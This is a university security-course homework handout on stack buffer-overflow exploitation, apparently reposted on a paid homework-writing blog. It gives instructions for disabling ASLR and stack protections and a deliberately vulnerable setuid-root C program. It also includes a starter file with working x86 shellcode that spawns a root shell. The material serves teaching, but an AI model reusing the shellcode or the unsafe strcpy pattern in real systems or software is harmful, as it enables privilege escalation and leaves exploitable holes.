C代写:CS391CS558BufferOverflow


利用 Buffer Overflow 对程序的执行逻辑进行修改。
![Buffer
Overflow](https://upload.wikimedia.org/wikipedia/commons/thumb/f/f9/Nopsled.svg/200px-
Nopsled.svg.png)

Homework Overview

The learning objective of this homework is for you to gain first-hand
experience with buffer-overflow attacks. Students are given three problems:

  1. The objective in this problem is to understand the flow execution of a program. You are given the source code of a program, and are allowed to change one function in the program. The objective is to change the behavior of the overall program.
  2. You are given a program that is vulnerable to a buffer-overflow attack. You should use this vulnerability to change the behavior of the overall program. You are not allowed to modify the source code of the program.
  3. You are given a set-root-uid program that is vulnerable to a buffer-overflow attack.You should use this vulnerability to obtain a root shell.You are not allowed to modify the source code of the program.
    Note: The amount of code you have to write in this homework is small, but you
    have to understand the stack. The article “Smashing The Stack For Fun And
    Profit” is very helpful and gives ample details and guidance. We also
    encourage you to ask questions on Piazza.

Initial setup Preliminaries

  • Use the preconfigured Ubuntu machine available here. In order to run the image please install vmware or virtual box. Virtual box is free and can be downloaded here. A tutorial on how to open the image in virtual box on windows can be found here. The USERNAME is cs558 and PASSWORD is cs558cs558. The user cs558 is on the sudoers list and can run commands that require sudo access. This is the machine we will use for testing your submissions. If your submission doesn’t work on that machine, you will get no points. It makes no difference if your submission works on another Ubuntu version (or another OS).
    Using Gnu Debugger (GDB), or some equivalent, is essential. The useof GDB will
    be reviewed in the discussions sessions.
    WARNING: The virtual machine image is 7.8 GB. Start Downloading early and make
    sure you have enough space on your computer.
  • DISABLE ASLR. Ubuntu and other Linux distributions have implemented several security mechanisms to make the buffer-overflow attack difficult. To simplify our attacks, we need to disable them first. Disabling address space randomization. Ubuntu, and several other Linux-based systems, use address space layout randomization (ASLR) to randomize the starting address of heap and stack. This makes it difficult to guess the address of the alternative code (on stack), thereby making buffer-overflow attacks difficult. Address space randomization can be disabled by executing the following command: sudo sysctl -w kernel.randomize_va_space=0 WARNING: This command does not survive through reboots. Whenever you boot your machine and before trying to solve any of the problems please rerun the command.
  • The StackGuard Protection Scheme. The GCC compiler implements stck canaries (via the StackGuard scheme) to prevent buffer overflow attacks. In the presence of this protection, our simple buffer overflow attack will not work. Youd should thus disable this protection during the compilation using the “-fno-stack-protection” option. For example, to compile a program example.c with StackGuard disabled, do: gcc -fno-stack-protector example.c
  • Non-Executable Stack. Ubuntu used to allow executable stacks, but this has now changed: the binary images of programs (and shared libraries) must declare whether they require executable stacks or not, i.e., they need to mark a field in the program header. Kernel or dynamic linker uses this marking to decide whether to make the stack of this running program executable or non-executable. This marking is done automatically by the recent versions of gcc, and by default, stacks are set to be non-executable. To change that, use the following option when compiling programs:
    • For executable stack: gcc -z execstack -o test test.c
    • For non-executable stack: gcc -z noexecstack -o test test.c
  • Starter files. You can find the homework files on piazza.
  • Obtaining your individual program. Each student will have a slightly different program based on their bu id. This is done as follows: In the directory for each problem (to be downloaded from Piazza), there will be an executable called “gen code.py”. Execute it on your VM by running: python gen_code.py and then entering your student ID when prompted. “gen code.py” reads a file with the extension “.c.tmpl” and outputs a “.c” program by injecting code specific to each student.
    You should work with your own individual program. Solutions that work for
    other student’s programs but not for your own will not be accepted (and will
    raise eyebrows).
  • How to submit your homework. you should submit your homework on Gradescope. (Instructions for signing up to Gradescope are in the syllabus page.) The solution must be in form of a zip file containing 3 folders. Folder 1 should be named problem1, Folder 2 problem2 and Folder 3 problem3. Problem 1 must have three different lottery.c programs lottery1.c, lottery2.c and lottery3.c. Folder2 must contain generate input file.c. Folder3 must contain generate input file shell.c

Problem 1

Winning the lottery. Consider the following program “lottery.c”. (This program
is similar to the individualized program you will obtain by running gen
code.py from within the directory of problem 1, in your VM.)
#include <stdio.h> /* for printf() /
#include <stdlib.h> /
for rand() and srand() /
#include <sys/time.h> /
for gettimeofday() /
int your_fcn()
{
/
Provide three different versions of this.
* version 1: must win at all costs.
* version 2: win by knowing what the value of the rand() in the main function will be.
* version 3: win by making the rand() function output the value 0.
* Submit COPIES of this file (lottery1.c,
* lottery2.c, and lottery3.c).
/
//the next line was intentionally commented out, this will not be the case
//in your custom lottery.c file
//char customized[vall];
//code goes under this comment
return 0;
}
int main()
{
/
Seed the random number generator /
struct timeval tv;
gettimeofday(&tv, NULL);
srand(tv.tv_usec);
int rv;
rv = your_fcn();
/
Lottery time */
if(rv != rand())
printf(“You lose\n”);
else
printf(“You win!\n”);
return EXIT_SUCCESS;
}
—|—
This program runs a simple lottery by picking a random integer uniformly at
random using rand(). It draws your number by calling your fcn(), a function
that you have complete control over. Your task is to write not one but three
different versions of the function that each win the lottery every time. Each
lottery version must meet the conditions in the comments. As a slight hint,
note that the only way that we determine whether or not you win is if the
program prints You win! (followed by a newline) at the end. We will be
compiling them with address space randomization and stack protection turned
off.

Important

While you are allowed to set the body of your fcn() as you wish, you are not
allowed to modify main() itself.

Submitting

Create three copies of the lottery:lottery1.c,lottery2.c, and lottery3.c,each
of which has a different implementation of your fcn(). Make sure to submit
them as described at the beginning of this handout

Problem 2

Winning the lottery part 2, exploiting buffer-overflow. Consider the following
program “lottery.c” provided in your starter files. Note in your starter file,
you will see a file named “lottery.c.tmpl” please run gen code.py to get your
custom “lottery.c” source code.
#include <stdio.h> /* for printf() /
#include <stdlib.h> /
for rand() and srand() /
#include <sys/time.h> /
for gettimeofday() */
#include <string.h>
int your_fcn(char raw_input)
{
//the next line was intentionally commented out, this will not be the case
//in your custom lottery.c file
//char customized[vall];
char user_input[4];
strcpy(user_input, raw_input); //copy raw_input into user_input
return atoi(user_input);//convert to integer
}
int main()
{
/
Seed the random number generator */
struct timeval tv;
gettimeofday(&tv, NULL);
srand(tv.tv_usec);
char str[512];
FILE inputfile;
inputfile = fopen(“inputfile”, “r”);
fread(str, sizeof(char), 512, inputfile);
int rv;
rv = your_fcn(str);
/
Lottery time */
if(rv != rand())
printf(“You lose\n”);
else
printf(“You win!\n”);
exit(0);
}
—|—
This program runs a simple lottery by picking a random integer uniformly at
random using rand(). It draws your number by reading it from an input file
named “inputfile”. Your task is to find the vulnerability in this program and
write a program that generates a malicious input file that lets you win the
lottery every time. For that purpose, you are provided with a template program
“generate input file.c”.As is, the program writes 512 bytes of NOP
instructions. Modify generate input file.c to output an input file that lets
you win each time you run lottery.

Important

  • While you are allowed to modify “generate input file.c” as you wish, you are not allowed to modify “lottery.c” itself!
  • Don’t forget to compile lottery.c with stack-guard disabled and execstack enabled. You can achieve this by running gcc -fno-stack-protector -z execstack -o lottery lottery.c

Submitting

Submit “generate input file.c” as described at the beginning of this handout.

Problem 3: Winning the lottery part3, getting a root shell.

The source code of the lottery.c is exactly the same as in the previous
problem. However unlike in problem2, in problem3 you will exploit the buffer-
overflow vulnerability to get a root shell. Compile the vulnerable lottery
program without StackGuard and with an executable stack, and make it set-root-
uid:
sudo su (enter root password)
gcc -o lotter -z execstack -fno-stack-protector lottery.c
chmod 4755 lottery
exit
you now have a program that executes as root but can be ran by a regular user.
Your task is to exploit the buffer-overflow vulnerability to corrupt the stack
of the function your fcn so that when the function returns, instead of going
back to main, it calls the shellcode, thereby creating a shell with root
privilege. Hint: You need to know two things in order to complete your
assignment:

  1. The address of your shellcode in memory.
  2. The address of the return pointer of the function “your fcn” relative to the buffer you are overflowing.
    To help you obtain a root shell, you are provided with “generate input file
    shell.c”:
    /* Creates a malicious file containing code for launching shell*/
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    char shellcode[]=
    “\x31\xdb” /* xor %ebx,%ebx /
    “\x6a\x17” /
    push $0x17 /
    “\x58” /
    pop %eax /
    “\xcd\x80” /
    int $0x80 /
    “\x31\xc0” /
    xorl %eax,%eax /
    “\x50” /
    pushl %eax /
    “\x68””//sh” /
    pushl $0x68732f2f /
    “\x68””/bin” /
    pushl $0x6e69622f /
    “\x89\xe3” /
    movl %esp,%ebx /
    “\x50” /
    pushl %eax /
    “\x53” /
    pushl %ebx /
    “\x89\xe1” /
    movl %esp,%ecx /
    “\x99” /
    cdql /
    “\xb0\x0b” /
    movb $0x0b,%al /
    “\xcd\x80” /
    int $0x80 */
    ;
    int main(int argc, char **argv)
    {
    char buffer[512];
    FILE badfile;
    int shellcode_size;
    shellcode_size = sizeof(shellcode);
    printf (“Length of shellcode: %d\n”, sizeof(shellcode));
    /
    Initialize buffer with 0x90 (NOP instruction) /
    memset(buffer, 0x90, 512);
    /
    TODO Fill the buffer with appropriate contents here /
    /
    Save the contents to the file “badfile” */
    badfile = fopen(“./inputfile”, “w”);
    fwrite(buffer, 512, 1, badfile);
    fclose(badfile);
    }
    —|—
    This program is provided for your convenience. The program already contains a
    shellcode. You can learn more about how to create your own shellcode here.
    Currently the program only prints 512 NOP instructions into the input file.
    Your job is to fill the buffer with the appropriate content.

Important

  • Don’t forget to compile the lottery.c file with stack-guard disabled and execstack enabled. You can achieve this by running “gcc -fno-stack-protector -z execstack -o lottery lottery.c”
  • While you are allowed to modify “generate input file shell.c” as you wish, you are not allowed to modify “lottery.c” itself.

Submitting

Submit “generate input file shell.c” as described at the beginning of this
handout.

Problem 4 lottery++, CS558 only.

In problem 3 you manually detected where the address of your shellcode is and
hardcoded that address in “generate input file shell.c”. In this problem your
task is to automate that search. Write a program that automatically finds your
shellcode address, and then proceeds to get a root shell.
You are left the choice of modifying “generate input file shell.c” or creating
your own program(s). Your program(s) can be written in c or python.

Submitting

Submit your program(s) as described at the beginning of this handout, also add
a readme file explaining how you did it and how to run your program(s).


文章作者: SafePoker
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 SafePoker !
  目录